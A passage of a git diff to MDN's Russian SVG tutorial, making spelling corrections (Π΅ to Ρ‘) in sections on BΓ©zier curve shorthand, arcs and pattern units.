ΠΊΡ€ΠΈΠ²ΡƒΡŽ, которая Π²Π΅Π΄Ρ‘Ρ‚ ΠΎΡ‚ Π½Π°ΠΊΠ»ΠΎΠ½Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ установили Π² Π½Π°Ρ‡Π°Π»Π΅ вашСй Π»ΠΈΠ½ΠΈΠΈ ΠΊ Π½Π°ΠΊΠ»ΠΎΠ½Ρƒ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΊΠΎΠ½Ρ†Π΅.</p>
<p><img alt="Cubic BΓ©zier Curves with grid" class="internal" src="https://mdn.mozillademos.org/files/10401/Cubic_Bezier_Curves_with_grid.png" style="float: right; height: 160px; width: 190px;"></p>
@@ -117,9 +117,9 @@ translation_of: Web/SVG/Tutorial/Paths
&lt;/svg&gt;
</pre>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ свСрху ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΄Π΅Π²ΡΡ‚ΡŒ кубичСских ΠΊΡ€ΠΈΠ²Ρ‹Ρ… Π‘Π΅Π·ΡŒΠ΅. Π§Π΅ΠΌ Π±Π»ΠΈΠΆΠ΅ ΠΊ Π»Π΅Π²ΠΎΠΌΡƒ ΠΊΡ€Π°ΡŽ изобраТСния, Ρ‚Π΅ΠΌ Π±ΠΎΠ»Π΅Π΅ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ становятся ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ. Π‘Π»ΠΈΠΆΠ΅ ΠΊ ΠΏΡ€Π°Π²ΠΎΠΌΡƒ, становятся Π±ΠΎΠ»Π΅Π΅ ΠΎΡ‚Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΎΡ‚ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡Π΅ΠΊ. Π‘Ρ‚ΠΎΠΈΡ‚ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ кривая начинаСтся Π² Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ, Π° Π·Π°Ρ‚Π΅ΠΌ изгибаСтся, пСрСходя Π² Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ.</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ свСрху ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΄Π΅Π²ΡΡ‚ΡŒ кубичСских ΠΊΡ€ΠΈΠ²Ρ‹Ρ… Π‘Π΅Π·ΡŒΠ΅. Π§Π΅ΠΌ Π±Π»ΠΈΠΆΠ΅ ΠΊ Π»Π΅Π²ΠΎΠΌΡƒ ΠΊΡ€Π°ΡŽ изобраТСния, Ρ‚Π΅ΠΌ Π±ΠΎΠ»Π΅Π΅ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ становятся ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ. Π‘Π»ΠΈΠΆΠ΅ ΠΊ ΠΏΡ€Π°Π²ΠΎΠΌΡƒ, становятся Π±ΠΎΠ»Π΅Π΅ ΠΎΡ‚Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ ΠΎΡ‚ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡Π΅ΠΊ. Π‘Ρ‚ΠΎΠΈΡ‚ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ кривая начинаСтся Π² Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ, Π° Π·Π°Ρ‚Π΅ΠΌ изгибаСтся, пСрСходя Π² Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ.</p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ²ΡΠ·Π°Ρ‚ΡŒ вмСстС нСсколько ΠΊΡ€ΠΈΠ²Ρ‹Ρ… Π‘Π΅Π·ΡŒΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Π΄Π»ΠΈΠ½Π½Ρ‹Π΅ ΠΏΠ»Π°Π²Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹. Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС часто ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… сторонах Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Π° (Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ постоянный Π½Π°ΠΊΠ»ΠΎΠ½). Π’ этом случаС ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½ΡƒΡŽ запись для ΠΊΡ€ΠΈΠ²ΠΎΠΉ Π‘Π΅Π·ΡŒΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ S (ΠΈΠ»ΠΈ s).</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ²ΡΠ·Π°Ρ‚ΡŒ вмСстС нСсколько ΠΊΡ€ΠΈΠ²Ρ‹Ρ… Π‘Π΅Π·ΡŒΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Π΄Π»ΠΈΠ½Π½Ρ‹Π΅ ΠΏΠ»Π°Π²Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹. Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС часто ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… сторонах Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Π° (Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ постоянный Π½Π°ΠΊΠ»ΠΎΠ½). Π’ этом случаС ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½ΡƒΡŽ запись для ΠΊΡ€ΠΈΠ²ΠΎΠΉ Π‘Π΅Π·ΡŒΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ S (ΠΈΠ»ΠΈ s).</p>
<pre> S x2 y2, x y (or s dx2 dy2, dx dy)
</pre>
@@ -148,7 +148,7 @@ translation_of: Web/SVG/Tutorial/Paths
<pre> T x y (or t dx dy)
</pre>
-<p>Как ΠΈ Ρ€Π°Π½Π΅Π΅, сокращСниС смотрит Π½Π° ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΡƒΡŽ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ использовали, ΠΈ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ ΠΈΠ· Π½Π΅Π΅ Π½ΠΎΠ²ΡƒΡŽ. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ послС ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π΅Π»Π°Ρ‚ΡŒ довольно слоТныС Ρ„ΠΈΠ³ΡƒΡ€Ρ‹, ΡƒΠΊΠ°Π·Π°Π² Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ.</p>
+<p>Как ΠΈ Ρ€Π°Π½Π΅Π΅, сокращСниС смотрит Π½Π° ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΡƒΡŽ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ использовали, ΠΈ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ ΠΈΠ· Π½Π΅Ρ‘ Π½ΠΎΠ²ΡƒΡŽ. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ послС ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π΅Π»Π°Ρ‚ΡŒ довольно слоТныС Ρ„ΠΈΠ³ΡƒΡ€Ρ‹, ΡƒΠΊΠ°Π·Π°Π² Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ.</p>
<div class="blockIndicator note">
<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ Π±Ρ‹Π»Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° Q ΠΈΠ»ΠΈ T. Если это Π½Π΅ Ρ‚Π°ΠΊ, Ρ‚ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Π°Ρ Ρ‚ΠΎΡ‡ΠΊΠ° считаСтся Ρ‚ΠΎΠΉ ΠΆΠ΅, Ρ‡Ρ‚ΠΎ ΠΈ прСдыдущая, ΠΈ Π²Ρ‹ нарисуСтС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π»ΠΈΠ½ΠΈΠΈ.</p>
@@ -229,6 +229,6 @@ translation_of: Web/SVG/Tutorial/Paths
<p>ПослСдниС Π΄Π²Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, Ссли Π²Ρ‹ Π΅Ρ‰Ρ‘ Π½Π΅ догадались, ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ x ΠΈ y, Π³Π΄Π΅ заканчиваСтся Π΄ΡƒΠ³Π°. Π”ΡƒΠ³ΠΈ - Π»Ρ‘Π³ΠΊΠΈΠΉ способ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ части ΠΊΡ€ΡƒΠ³ΠΎΠ² ΠΈΠ»ΠΈ эллипсов Π² Π²Π°ΡˆΠΈΡ… рисунках. НапримСр, круговая Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ° Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΡƒΡŽ Π΄ΡƒΠ³Ρƒ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ куска Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡ‹.</p>
-<p>Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ Π² SVG ΠΈΠ· Canvas`Π°, Π΄ΡƒΠ³ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ самой Ρ‚Ρ€ΡƒΠ΄Π½ΠΎΠΉ Π²Π΅Ρ‰ΡŒΡŽ для изучСния, Π½ΠΎ ΠΎΠ½ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ‡Π΅Π½ΡŒ ΠΌΠΎΡ‰Π½Ρ‹Π΅. Π’.ΠΊ. Π½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ для любого ΠΏΡƒΡ‚ΠΈ, обходящСго ΠΊΡ€ΡƒΠ³, ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ мСсто, сущСствуСт бСсконСчноС количСство ΠΊΡ€ΡƒΠ³ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½Ρ‹ ΠΈ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠ±Π»ΠΈΠ·ΠΈΡ‚ΡŒ ΠΈΡ…, сдСлав Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ ΠΏΡƒΡ‚ΠΈ слСгка Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ ΠΈ соСдинив ΠΈΡ… с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ сСгмСнтами ΠΏΡƒΡ‚ΠΈ. Π’ этой Ρ‚ΠΎΡ‡ΠΊΠ΅, часто ΠΏΡ€ΠΎΡ‰Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ настоящий ΠΊΡ€ΡƒΠ³ ΠΈΠ»ΠΈ эллипс. Π­Ρ‚ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ Π΄Π΅ΠΌΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΏΠΎΠ½ΡΡ‚ΡŒ основныС ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹ SVG-Π΄ΡƒΠ³: <a href="http://codepen.io/lingtalfi/pen/yaLWJG">http://codepen.io/lingtalfi/pen/yaLWJG</a> (протСстировано Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Chrome ΠΈ Firefox, ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² вашСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅)</p>
+<p>Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ Π² SVG ΠΈΠ· Canvas`Π°, Π΄ΡƒΠ³ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ самой Ρ‚Ρ€ΡƒΠ΄Π½ΠΎΠΉ Π²Π΅Ρ‰ΡŒΡŽ для изучСния, Π½ΠΎ ΠΎΠ½ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ‡Π΅Π½ΡŒ ΠΌΠΎΡ‰Π½Ρ‹Π΅. Π’.ΠΊ. Π½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ для любого ΠΏΡƒΡ‚ΠΈ, обходящСго ΠΊΡ€ΡƒΠ³, ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ мСсто, сущСствуСт бСсконСчноС количСство ΠΊΡ€ΡƒΠ³ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½Ρ‹ ΠΈ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠ±Π»ΠΈΠ·ΠΈΡ‚ΡŒ ΠΈΡ…, сдСлав Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ ΠΏΡƒΡ‚ΠΈ слСгка Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ ΠΈ соСдинив ΠΈΡ… с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ сСгмСнтами ΠΏΡƒΡ‚ΠΈ. Π’ этой Ρ‚ΠΎΡ‡ΠΊΠ΅, часто ΠΏΡ€ΠΎΡ‰Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ настоящий ΠΊΡ€ΡƒΠ³ ΠΈΠ»ΠΈ эллипс. Π­Ρ‚ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ Π΄Π΅ΠΌΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΏΠΎΠ½ΡΡ‚ΡŒ основныС ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹ SVG-Π΄ΡƒΠ³: <a href="http://codepen.io/lingtalfi/pen/yaLWJG">http://codepen.io/lingtalfi/pen/yaLWJG</a> (протСстировано Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Chrome ΠΈ Firefox, ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² вашСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅)</p>
<p>{{ PreviousNext("Web/SVG/Tutorial/Basic_Shapes", "Web/SVG/Tutorial/Fills_and_Strokes") }}</p>
diff --git a/files/ru/web/svg/tutorial/patterns/index.html b/files/ru/web/svg/tutorial/patterns/index.html
index 4c2e459016..81970ec2f5 100644
--- a/files/ru/web/svg/tutorial/patterns/index.html
+++ b/files/ru/web/svg/tutorial/patterns/index.html
@@ -7,7 +7,7 @@ translation_of: Web/SVG/Tutorial/Patterns
<h2 id="Π¨Π°Π±Π»ΠΎΠ½Ρ‹_Patterns">Π¨Π°Π±Π»ΠΎΠ½Ρ‹ (Patterns)</h2>
-<p>Patterns, ΠΏΠΎ ΠΌΠΎΠ΅ΠΌΡƒ мнСнию, ΠΎΠ΄Π½ΠΈ ΠΈΠ· самых Π·Π°ΠΏΡƒΡ‚Π°Π½Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² заполнСния (<strong>fillΒ </strong>types) Π² SVG. НСсмотря Π½Π° это ,ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΡ‡Π΅Π½ΡŒ ΠΌΠΎΡ‰Π½Ρ‹ΠΌ инструмСнтом, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΎ Π½ΠΈΡ… ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎ стоит ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒ ΠΈ ΠΏΠΎΠ½ΡΡ‚ΡŒ хотя Π±Ρ‹ основныС части. Как ΠΈ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Ρ‹, элСмСнты {{SVGElement('pattern')}} Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π² ΡΠ΅ΠΊΡ†ΠΈΡŽΒ <code>&lt;defs&gt; Π² Π’Π°ΡˆΠ΅ΠΌ SVG-Ρ„Π°ΠΉΠ»Π΅.</code></p>
+<p>Patterns, ΠΏΠΎ ΠΌΠΎΠ΅ΠΌΡƒ мнСнию, ΠΎΠ΄Π½ΠΈ ΠΈΠ· самых Π·Π°ΠΏΡƒΡ‚Π°Π½Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² заполнСния (<strong>fillΒ </strong>types) Π² SVG. НСсмотря Π½Π° это ,ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΡ‡Π΅Π½ΡŒ ΠΌΠΎΡ‰Π½Ρ‹ΠΌ инструмСнтом, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΎ Π½ΠΈΡ… ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎ стоит ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒ ΠΈ ΠΏΠΎΠ½ΡΡ‚ΡŒ хотя Π±Ρ‹ основныС части. Как ΠΈ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Ρ‹, элСмСнты {{SVGElement('pattern')}} Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π² ΡΠ΅ΠΊΡ†ΠΈΡŽΒ <code>&lt;defs&gt; Π² Π’Π°ΡˆΠ΅ΠΌ SVG-Ρ„Π°ΠΉΠ»Π΅.</code></p>
<pre class="brush: html">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"&gt;
Β  &lt;defs&gt;
@@ -40,12 +40,12 @@ translation_of: Web/SVG/Tutorial/Patterns
<p>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠ², Ρƒ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ΠΎΠ² Π΅ΡΡ‚ΡŒ 2ΠΎΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ -Β <code><strong>patternContentUnits</strong>, </code>ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ описываСт Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ измСрСния, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π² Π±Π°Π·ΠΎΠ²Ρ‹Ρ… Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ… Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта <strong>pattern</strong>. Π”Π΅Ρ„ΠΎΠ»Ρ‚Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° - Β <strong>userSpaceOnUse</strong>, ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΡƒΒ <code><strong>patternUnits</strong>.Β </code>Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ссли Π’Ρ‹ Π½Π΅ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ ΠΎΠ±Π° этих Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° (<strong><code>patternContentUnits</code> </strong>ΠΈ/ΠΈΠ»ΠΈΒ <strong><code>patternUnits</code></strong>), Ρ„ΠΈΠ³ΡƒΡ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π’Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ° &lt;<strong>pattern&gt;</strong>, Π±ΡƒΠ΄ΡƒΡ‚ отрисованы Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ систСмС ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ (ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠΉ ΠΎΡ‚ Ρ‚ΠΎΠΉ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½). Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π·Π°ΠΏΡƒΡ‚Ρ‹Π²Π°Ρ‚ΡŒ, Ссли Π’Ρ‹ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ ΠΊΠΎΠ΄ Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ.</p>
